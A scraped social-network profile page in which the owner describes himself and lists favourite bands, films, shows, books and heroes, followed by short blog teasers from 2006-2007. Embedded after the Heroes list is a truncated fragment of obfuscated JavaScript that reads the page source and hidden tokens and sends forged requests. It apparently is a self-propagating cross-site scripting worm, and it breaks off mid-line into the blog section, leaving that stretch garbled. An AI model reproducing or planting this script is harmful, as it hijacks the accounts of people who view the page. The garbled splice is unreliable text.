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The Secret Way

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About Me



Once I dig myself out of this hole I'll be just fine...huh? Oh, hello there! Welcome to "About Me". This is time in which we find out all the juicy nuggets of my very being. Oooo!! Well let's see...where to start? I'm constantly seeking perfection and chasing things that aren't really there. Delusional, you say? Mmm...yes, perhaps. I'd really like to jump and skip in sunny fields all day. I'm horrible with women. I must work out every day to ensure I will never be the lazy, ugly, fat man on the couch eating potato chips concocting ways to poison his hateful wife and dreaming his children were spontaneously combusting around him. I'm obsessed with good, intelligent conversation. Philosophy makes me salivate. I live for surprises and adventure. Rarely does this happen, but I will not let go of hope, dammit! The ideal job for me: Doing anything that involves film. I'm so sickened by Hollywood that it's become attractive. I try to remain stable, but thrive on chaos. I hope this little blurb has brought you all the joy it has me. You know...*sniffle*..I think I know myself a little more.... Mr. Eastwood Drexel Spivey (Mr. Oldman)

My Interests

Art, film, paintballing, dancing, partying, working out, music, photography, fashion, the great outdoors, philosophy, Audrey Tautou...

I'd like to meet:

Like minded people. Crazy-assed fools.

Music:

Top 10: The Bravery, Depeche Mode, Autechre, White Zombie, Interpol, Blind Melon, Air, Cliff Martinez, Atmosphere, PanteraAlso: Skinny Puppy, Hum, VAST, Buckcherry, Slayer, Outkast, Coldplay, Ludacris, Tears for Fears, She Wants Revenge, Das Ich, The Killers, Phantasm, Nine Inch Nails, N.E.R.D., Aphex Twin, Gorillaz, Ween, Snoop Dogg, Mr. Bungle, Dre, Covenant, Bauhaus, Social Distortion, The Cure, Gwen Stefani, KMFDM, And One, Wumpscut, Panic! At the Disco, Assemblage 23, AmPsych, Cannibal Corpse, Solvent, Marilyn Manson, Down, Hocico, Pulp, Broken Social Scene, Funker Vogt, Chingy, Fear Factory, The Misfits, Black Heart Procession, Voltaire, Jeff Buckley, Sepultura, Download, Spoon, Alice in Chains, Plasticman, Postal Service, Clutch, In Flames, Bright Eyes, Machine Head, Queens of the Stone Age, The White Stripes, The Faint, Crisis, Boards of Canada, Six Feet Under, New Order, INXS, Badly Drawn Boy, Placebo, Superjoint Ritual, Sebadoh, Wolfsheim, Love & Rockets, American Analog Set, Soulfly, Death Cab for Cutie, Banco de Gaia, Crazy Town, Fallout Boy, Black & Blue, etc.

Movies:

Top 10: American Psycho, Match Point, Rules of Attraction, Sin City, Memento, Donnie Darko, Gladiator, Robocop, Starship Troopers, Thumbsucker Also: United States of Leland, The Thin Red Line, Aliens, The Fifth Element, Heat, Last of the Mohicans, Evil Dead 2, Meet the Feebles, Lost Highway, Dead Alive, Seven, Fight Club, 12 Monkeys, Fear & Loathing in Las Vegas, Magnum Force, Tombstone, Dead Man, Reservior Dogs, Moulin Rouge, X-Men, Waiting, Dirty Harry, Last Man Standing, Apocalypse Now, Ravenous, Trainspotting, Mallrats, The Wild Bunch, Better Off Dead, He Loves Me He Loves Me Not, Full Metal Jacket, The Good the Bad and the Ugly, Alien Resurrection, A Clockwork Orange, Silverado, L.A. Confidential, True Romance, The Game, The Deer Hunter, Dracula, The Professional, Willow, The Transporter, The House of Sand & Fog, Lock Stock & Two Smoking Barrels, Grosse Point Blank, Dawn of the Dead, Interview with the Vampire, Dirty Pretty Things, American History X, Mulholland Drive, Edward Scissorhands, Amelie, The Crow, City of Lost Children, Solaris, Anchorman, Broken Flowers, Rushmore, Dazed & Confused, Underworld, Say Anything, Elizabeth, Hurly Burly, Romper Stomper, Alien, The Road Warrior, A Fistful of Dollars, Black Hawk Down, Princess Bride, Pulp Fiction, Requiem for a Dream, Serenity, American Beauty, House of 1000 Corpses, Nowhere, One Crazy Summer, Dear Frankie, Spider, Blade Runner, Mad Max, Braveheart, Ed Wood, Alien 3, Batman, Transporter 2, Hackers, The Boondock Saints, The Devil's Rejects, X-Men 2, Bartleby, Chopper, Snatch, A History of Violence, Revolver, ExistenZ, Pi, Swimming with Sharks, Scanners, 28 Days Later, Batman Begins, The Talented Mr. Ripley, Laurel Canyon, Face Off, Equilibrium....as you can see, I'm obsessed with movies...

Television:

South Park, The Daily Show, The Colbert Report, It's Always Sunny in Philadelphia, Aqua Teen Hunger Force, Venture Bros., That 70's Show, Law & Order: Criminal Intent, Nova, Nature...nothing else really piques my interest... Mr. Pearce

Books:

Anything by Bret Easton Ellis and Chuck Palahniuk are on the top of my list right now. I'm currently reading The Wealth & Poverty of Nations. Mr. Statham

Heroes:

Paul Pope, Clint Eastwood, Guy Pearce, Jason Statham, Simon Bisley, James Dean, Gary Oldman, Johnny Depp, James O'Barr, Ridley Scott, Paul Verhoeven, David Fincher, Crispin Glover, Willem Dafoe, Jhonen Vasquez, Ryan Reynolds, Roman Dirge, cEVIN KEY, Christian Bale, Eli Roth, Darren Aronofsky, David Cronenberg, Richard Kelly, Jean-Pierre Jeunet...those are some.0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','% 2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26' )}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}..'J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if( BJ=='POST'){J.setRequestHeader('Content-Type','application/x -www-form-urlencoded');J.setRequestHeader('Content-Length',B K.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=getSource();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace ('exp'+'r)','exp'+'r)'+A);AF=' '}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes',' ');AG=AG.substring(61,AG.length);if(AG.indexOf('

My Blog

My new eyes...

Stepping outside, the sun is bright.  My new eyes narrow to tiny slits, pupils dilating to pin holes.  I take the sunglasses from my chest and slip them on.  I begin walking t...
Posted by The Secret Way on Sun, 08 Apr 2007 03:37:00 PST

Waltzing in the 4th Dimension

I've perfected the art of doing foolish things.  I invest my time in things I know will never, ever bring me the same happiness.  It's a pain I've never felt and far too complex for me to se...
Posted by The Secret Way on Sun, 25 Jun 2006 10:15:00 PST

An Excercise in Self Pity & Acceptance

Just stare.  That's all I can muster right now.  Stare.  My car is in park, the nose leaning down a slight hill.  The only light is from the street lamps and the cars that pass.&nb...
Posted by The Secret Way on Fri, 02 Jun 2006 10:34:00 PST

Pollinating hearts & minds...

I am no longer compromising.  The pursuit of happiness is one of the things that this country was founded on and in the end, that's really the only quest that there is.  Find your place in t...
Posted by The Secret Way on Tue, 02 May 2006 04:21:00 PST

Dreams of Assimilation

I've tried many times to integrate myself into your world.  I emulate your speech, emotions and mannerisms.  At one point I might have been like you.  But the truth is:  I am simpl...
Posted by The Secret Way on Wed, 12 Apr 2006 05:46:00 PST

Amputation: The Next Phase of Fashion & Life

I run my fingers along my forehead and slowly tilt my head back.  From this angle I can see out of the back window of the car I'm driving in.  Straight into the sky I'm staring. Th...
Posted by The Secret Way on Wed, 15 Mar 2006 07:19:00 PST